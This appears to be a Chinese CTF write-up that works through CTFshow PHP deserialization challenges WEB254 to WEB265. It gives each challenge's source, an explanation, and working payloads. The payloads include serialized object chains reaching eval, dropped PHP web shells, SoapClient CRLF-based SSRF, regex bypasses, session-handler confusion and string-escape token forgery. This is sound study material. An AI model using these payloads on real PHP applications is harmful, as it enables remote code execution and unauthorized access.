CTFSHOW-PHP反序列化

 

WEB254 

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}


方法:

//与反序列化无关,简单的代码审计即可
payload:?username=xxxxxx&password=xxxxxx

WEB255 

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析:

主要看这部分

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

意思为:在判断变量是否设置后,会对cookie里面的user进行反序列化,然后赋值给变量user 。并且反序列后的结果必须是ctfShowUser的实例化对象。然后判断username和password的值,最后如果$this->isVip是true就输出flag,所以反序列化的内容为:

<?php
class ctfShowUser{
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));


//payload:
cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
get:?username=xxxxxx&password=xxxxxx

php里实例化对象没有参数时可以不用加括号

<?php

class ctfShowUser{

    public $isVip=true;

}

echo serialize(new ctfShowUser);

echo serialize(new ctfShowUser());

?>

两种序列化都是一样的

WEB256

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析:分析代码,发现最后vipOneKeyGetFlag()这个函数需要使ctfShowUser这个类里面的username和password不一样,而前面的login函数有需要我们使传入的东西与ctfShowUser类里面的变量一样,因为是序列化,对象的属性(变量)和构造方法内的变量赋值我们是可控的,所以我们可以将ctfShowUser类里面的username和password改成不一样的就行。所以反序列化内容为:

<?php
class ctfShowUser{
	public $username='1';
    public $password='2';
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));


payload:
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
get:?username=1&password=2

WEB257

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

知识点:

 1. __sleep() //在对象被序列化之前运行
 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)我们可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。条件:PHP5 < 5.6.25,PHP7 < 7.0.10,或者PHP 7.3.4
 3. __construct() //当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。
 4. __destruct() //在到某个对象的所有引用都被删除或者当对象被显式销毁时执行或者当所有的操作正常执行完毕之后,需要释放序列化的对象即在脚本结束时(非unset)php才会销毁引用 一般来说在脚本正常结束运行之前运行。如果抛出异常就不会调用。
 5. __toString(): //当一个对象被当作字符串使用时触发,echo、return等一个对象的时候
 6. __call() //在对象上下文中调用不可访问的方法时触发,注意是有参数的。第一个为调用的方法名字,第二个是调用的方法的参数。
 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据不存在这个键都会调用此方法
 9. __set() //用于将数据写入不可访问的属性
 10. __isset() //在不可访问的属性上调用isset()或empty()触发
 11. __unset() //在不可访问的属性上使用unset()时触发
 12. __toString() //把类当作字符串使用时触发,如echo 这个类
 13. __invoke() //当脚本尝试将对象调用为函数时触发

反序列化的时候,不再重新使用构造方法,只会在new之前使用

<?php
    class Website{
        public $name, $url, $title;
        public function __construct(){
            echo '------这里是构造函数------<br>';
        }
        public function __destruct(){
            echo '------这里是析构函数------<br>';
        }
    }
	echo '对象创建之前<br>';
    $object = new Website();
    echo '分割线<br>';
    echo '这里是脚本最后一个执行的语句。这条语句过后脚本结束<br>';
?>


执行结果
对象创建之前
------这里是构造函数------
分割线
这里是脚本最后一个执行的语句。这条语句过后脚本结束
------这里是析构函数------

反序列化小tip:

<?php
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';   
    public function __destruct(){
       echo $this->a;
    }                       
}

$aa=unserialize('O:6:"escape":4:{s:4:"name";s:3:"OTL";s:5:"phone";s:6:"123666";s:5:"email";s:13:"sweet@OTL.com";s:1:"a";s:6:"Monica";}');

可以看见escape这个类中并没有$a,但是我们序列化的字符串中给$a赋值为Monica,那么在反序列化的时候,就可以通过__destruct方法输出Monica

分析:大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo()。

然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。

那么,程序结束前一刻,调用__destruct,即调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval

所以我们只需要将class的值改为backDoor的实例化对象new backDoor(),然后将backDoor类中的code修改为我们的payload,如$_POST[1];然后要进入if语句,需要get传username和password,最后rce即可。

方法:

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='eval($_POST[1]);';
}
echo urlencode(serialize(new ctfShowUser()));

//由于配上private有特殊不可见字符,所以进行序列化后直接进行url编码

payload:
cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D

get:?username=xxxxxx&password=xxxxxx
post:1=system('tac flag.php');

报错问题:

class demo{
    public $title = time();
    ....
}

报下面错误:

Fatal error: Constant expression contains invalid operations in

在初始化类的属性时它的值 必须要是常量类型,不能使用非常量,否则就会报错,上面的错误 就是因为使用了time()所以就报错。

解决办法:

用常量代替 time()(如public $title=1;)或者不赋值(去掉time()public $title)或者使用单引号扩起来(public $title='$a');,在构造函数中的时候再赋值time

 private $code='system('ls');';

这样是错的,不能两个单引号连用,外面单里面双。

 private $code='system("ls");';

WEB258

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

知识点:\d 匹配数字

分析:

在上一个题的基础上加了个正则,这个正则的意思为:不能使用o:数字:或者c:数字:只需要把O后面的数字前加个加号就可以绕过了(o:+数字:)这是反序列化的一个绕过知识点。

当然还有个小改动,把原来的private改成了public。

payload:
<?php
class ctfShowUser{
    public $class;
    public function __construct(){
    $this->class=new backDoor();
    }
}

class backDoor{
    public $code='eval($_POST[1]);';
}

$a=serialize(new ctfShowUser());
$b = str_replace(":8", ":+8", $a);        //将序列化后的字符串中:数字改成:+数字
$c = str_replace(":11", ':+11', $b);
echo urlencode($c);


cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
get:?username=1&password=2

WEB259-SoapClient

题目:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


//flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

 注:本题原来有cf代理,所以不能简单的修改X-Forwarded-For:127.0.0.1。但是现在的环境没用cf代理,所以可以直接使用。

知识点:

CRLF Injection

简明理解CRLF攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

__call() //在对象上下文中调用不可访问的方法时触发

 cloudfare代理 

SoapClient::__call

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

soapclient 一般来说有两种常用的连接方法,一种是使用wsdl文件,另一种是直接连接远程服务。

对于第一种方法,wsdl文件可以放在本地,也可以是通过远程引用,具体方法如下:

$soap = new SoapClient("file.wsdl");

另一种方法是不提供wsdl的,具体如下:

$soap = new SoapClient(null,array("uri"=>"命名空间","location"=>"服务地址"));

uri与url与urn的区别:123​​​​​​

例如:你需要的文件在files.hp.com. 这是URI,但不是URL--系统可能会对很多协议和端口都做出正确的反应。http://files.hp.com 和ftp://files.hp.com.可能得到完全不同的内容

webservice三要素:

SOAP (Simple Object Access Protocol):简单对象访问协议,soap用来描述传递信息的格式。

WSDL (WebServices Description Language):Web服务描述语言,用来描述WebService、以及如何访问WebService

UDDI (Universal Description Discovery and Integration):通用描述、发现及整合,用来管理、分发。

wsdl 和 uddi 没有关系,uddi 是为了定位服务,发现服务的。wsdl就像你说的是描述服务的,说白了就是告诉使用者方法名及参数列表。

SOAP是simple object access protocal的缩写,即简单对象访问协议。 是基于XML和HTTP的一种通信协议。是webservice所使用的一种传输协议,webservice之所以能够做到跨语言和跨平台,主要是因为XML和HTTP都是独立于语言和平台的。Soap的消息分为请求消息和响应消息,一条SOAP消息就是一个普通的XML文档

分析: 

经过代码审计,我们发现源码中有反序列化点但是并没用任何的已有的类,即无法构造pop链;那么大概率就是考察PHP原生类的反序列化了。

如果在代码审计中有反序列化点,但在代码中无法构造pop链,可以利用php内置类来进行反序列化。

在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行
本题需要用到的函数SoapClient::__call。

由于再最上面提到的直接访问题目分配的docker环境导致cloudfare代理出来作怪使我们在两次array_pop操作后无法获取到127.0.0.1因此我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/f1ag.php,即可绕过cloudfare代理

<?php
$ua = "Monica\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

echo urlencode(serialize($client));

参考链接:

 【SoapClient原生类在开发以及安全中利用】CTFshow Web259详解 - Lxxx 

从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

SoapClient反序列化SSRF

WEB260

题目:

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

分析:

题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D,

那我们直接传?ctfshow=s:18:"ctfshow_i_love_36D"; 就可以了。

WEB261

题目:

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

>php7.4 如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,

则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

虽然序列化时会调用sleep()函数,给username和password赋值为空,但是反序列化时会进入__unserialize中,在最后进行反序列化的时候又会重现赋值,所以可以不用管这个函数,,,invoke函数也没有调用,所以不用管。

在class ctfshow中的unserialize函数里面,code是username和password结合出来的。最后一段,在进行反序列化之后脚本结束,调用destruct函数,当code==877时,写入文件;因为是弱类型,所以code=877a、877b、877.php都行。

所以需要赋值为如下:

username=877.php          password=<?php eval($_POST[1]);?>

方法:构造代码如下

<?php
class ctfshowvip{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
   
}
$a=urlencode(serialize(new ctfshowvip('877.php','<?php eval($_POST[1]);?>')));
echo $a;

payload:
?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

然后访问877.php
post:1=system('cat /flag_is_here');

WEB262

题目:

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

分析:

发现注释里面有一个message.php。访问:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

方法1:非预期

因为message.php页面中的cookie我们是可控的,所以我们可以直接将序列化加密之后的字符串赋值给cookie即可。

<?php 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

echo urlencode(base64_encode(serialize(new message(1,2,3))));

在message.php页面中将结果赋值给cookie中的msg即可。

方法2:php反序列化字符串逃逸

第一次遇见的建议先看看后面的例子

知识点:php反序列化字符串逃逸

逃逸有一个特征:对序列化后的字符串进行了替换、而且替换后造成了字符数量的不一致,有两种情况,一种是替换后变长,一种是替换后变短。此题将fuck替换成了loveU,所以是变长。

$m=new message('1','2',3);与$m=new message('1','2','3');
反序列化之后的结果是不同的

O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:4:"user";}
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

而$m=new message('1','2',Monica);与$m=new message('1','2','Monica');
反序列化之后的结果是一样的。
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:6:"Monica";s:5:"token";s:4:"user";}
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:6:"Monica";s:5:"token";s:4:"user";}

所以在进行字符串逃逸的时候要注意双引号的问题。
因为后面的payload是字符串型,所以在做逃逸题目的时候,不要用数字。这样按步骤操作的时候不容易出错。

b站视频讲解 

 分析:

我们要将token污染成admin。此题将fuck替换成了loveU,逃逸出了一个字符

将代码复制下来,本地测试,想要的反序列化结果: 

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$m=new message('monica','shuai','fuck');

序列化的结果:

payload:

";s:5:"token";s:5:"admin";}


一共27个字符,那么就需要在前面加上27个fuck。

 实例化对象的时候:

$m=new message('monica','shuai','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

成功污染! 

方法:

在首页传参:
?f=monica&m=shuai&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可

例子:

假如我们有这么一个类

<?php
class user
{
    public $username;
    public $password;
    public $isVip;

    public function __construct($u,$p)
    {
        $this->username=$u;
        $this->password=$p;
        $this->isVip=0;
    }
}
?>

要求将isVip赋值为1。在构造函数中,可以看到变量isVip是我们无法控制赋值的,他的值一直都是0;那么如何成功将isVip替换成1呢?

我们先看看序列化之后的结果:

实例化对象:
$u=new user('admin','123456');

同样,我们有一个方法将序列化后的字符中的admin替换成hacker。

function filter($u){
    return str_replace('admin', 'hacker', $u);
}

然后我们看看经过filter方法之后的字符串变成了什么样:

<?php
class user{
    public $username;
    public $password;
    public $isVip;

    public function __construct($u,$p)
    {
        $this->username=$u;
        $this->password=$p;
        $this->isVip=0;
    }
}

function filter($u){
    return str_replace('admin', 'hacker', $u);
}

$u=new user('admin','123456');
$u_s=serialize($u);
$u_sf=filter($u_s);
echo $u_sf;
?>

结果:

可以看到s:5:"hacker",这里写的是5个字符,但是值却是6个字符的hacker。这个最后一个  "  就不会被读入了,那么我们就逃逸出了一个字符。(但是因为不匹配,所以反序列化不能成功)

如果我们在实例化对象的时候,赋值为:

$u=new user('admin";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}','123456');

payload:
";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}
一共47个字符

看看序列化之后的结果:

正常序列化后,username的值为:admin";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}

我们要做的是将s:52与其后面的第一对双引号扩起来的字符串对应,这样才能逃逸出后面的字符。

看看过滤后的结果:

 这样序列化之后,username的值为:hacker";s:8:"password";s:6:"123456";s:5:"isVip";i:1;

这样我们就逃逸出了一个右边的  "  字符。

所以,最后的问题就变成了一个解方程组的问题:

payload:
";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}
一共47个字符

经过过滤之后,admin会替换成hacker,可以逃逸出1个字符,有x个admin,就会替换成x个hacker,就会逃逸出x个字符。

要逃逸出payload:47个字符。那么就需要47个admin。



或者说:

一个admin,5个字符;一个hacker,6个字符。

设实例化对象的时候,给username传入x个admin然后加上payload,一共有

47+5*x个字符,替换之后一共有6*x个字符。

那么:

47+5*x=x*6

x=47。

那么我们在实例化对象的时候,赋值为(47个admin+payload):

$u=new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}','123456');

序列化替换之后:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";

s:8:"password";s:6:"123456";s:5:"isVip";i:1;}";s:8:"password";s:6:"123456";s:5:"isVip";i:0;}

s:282,刚好与其后面的第一个双引号中的字符串数量对应。

反序列化的结果为:

 成功将isVip的值改为1。

此时username的值为:47个hacker。那么后面的内容就会在反序列化的时候正常进行。在遇到第一个}的时候停止,后面的内容就不管了。

WEB263

题目:

用御剑或者dirsearch扫描子目录,发现两个文件check.php和www.zip(说明源码泄漏)

知识点:

深入浅析PHP的session反序列化漏洞问题

[1]PHP会话机制—session的基本使用

[2]php session 会话(专题)

[3]PHP Sessions

[4]PHP中如何将session存入数据库并使用

[5]PHP SESSION机制,从存储到读取

[6]彻底理解PHP的SESSION机制

原理+实践学习(PHP反序列化和Session反序列化)_Lemon's blog-CSDN博客_php session反序列化

session是如何起作用的

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。


除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
 

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

PHP: session_start - Manual

默认值:

分析:

 

访问www.zip,找源码。

在index.php中发现:

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

说明:刚开始的时候,因为$_SESSION['limit']没有设置,所以会进入else语句,设置名为limit的cookie,那么cookie的值我们就可控了。然后$_SESSION['limit']=1;再次访问index.php,则进入if语句,因为$_SESSION['limit']小于5,所以会执行:后面的语句;将cookie的值进行base64解密后赋值给名为limit的session。那么session文件的内容我们就间接可控了。

在check.php中发现

require_once 'inc/inc.php';

跟进inc.php

ini_set('session.serialize_handler', 'php');

session_start();

设置了php用来序列化/反序列化的处理器引擎为php,而环境的引擎为php_serialize(常用的为php和php_serialize)。并且开启了session_start()。因为check.php包含了inc.php,那么他的引擎也为php,也设置了session_start()。

在inc.php中发现一个User类并且有一个写文件的方法,文件名和内容我们可控:

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

那么我们的思路就很明确了:

首先访问index.php然后设置cookie中limit的值为|加上User类序列化之后的字符串的base64加密;然后再次访问index.php(并不是刷新),此时进入if语句将cookie的写入session文件中,内容为一句话。然后访问check.php或者inc/inc.php通过session_start()自动进行反序列化,执行写文件函数,最后访问写的文件,RCE。

具体操作:

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$user=new User('10.php','<?php eval($_POST[1]);?>');
echo base64_encode(serialize($user));
//不进行base64加密的话,一句话内容不会显现出来。
//这道题有些文件名不能执行成功,不知道为什么

解密后的内容为:

O:4:"User":3:{s:8:"username";s:6:"10.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}

我们在前面加上|并进行base64加密传给cookie,

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo2OiIxMC5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjQ6Ijw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

再次访问index.php将cookie的值写入session文件。 

此时session文件的内容为:

a:1:{s:5:"limit";s:106:"|O:4:"User":3:{s:8:"username";s:6:"10.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}";}

 那么在使用php引擎反序列化的时候会将|前面的作为key,将|后面的作为value进行反序列化,那么就可以成功反序列化User这个类了。

访问inc/inc.php或者check.php ,进行反序列化操作 

 访问这个文件,进行RCE

 其他问题:

ini_set('session.serialize_handler','php_serialize');需要写在session_start之前。

WEB264

题目:

<?php

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中:message.php

<?php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析:

这题与262的区别在于,修复了262的非预期,只能用php反序列化字符串逃逸

方法:

在首页传参:
?f=monica&m=shuai&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可
在message.php中要进入if语句还需要创建一个名为msg的cookie

其他问题:

在传参的时候不需要给字符串加上单引号。

?f='monica'&m='shuai'&t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'

这种会不成功。

WEB265

题目:

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}



分析:

题目中login返回true才会输出flag,而题目将token的值弄成了md5(mt_rand()),我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。

知识点:

php按地址传参

例子:

<?php
$a='123';
$b=&$a;
$b=1;
echo $a;
echo "<br/>";
echo $b;

大家可以试下这段代码,会发现a的值会跟着b一起改变。

方法:

我们只需要让token和passowrd指向同一块地址就可以了。

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token=&$this->password;
        $this->password =1;
    }
}

$a = new ctfshowAdmin();
echo serialize($a);

结果:

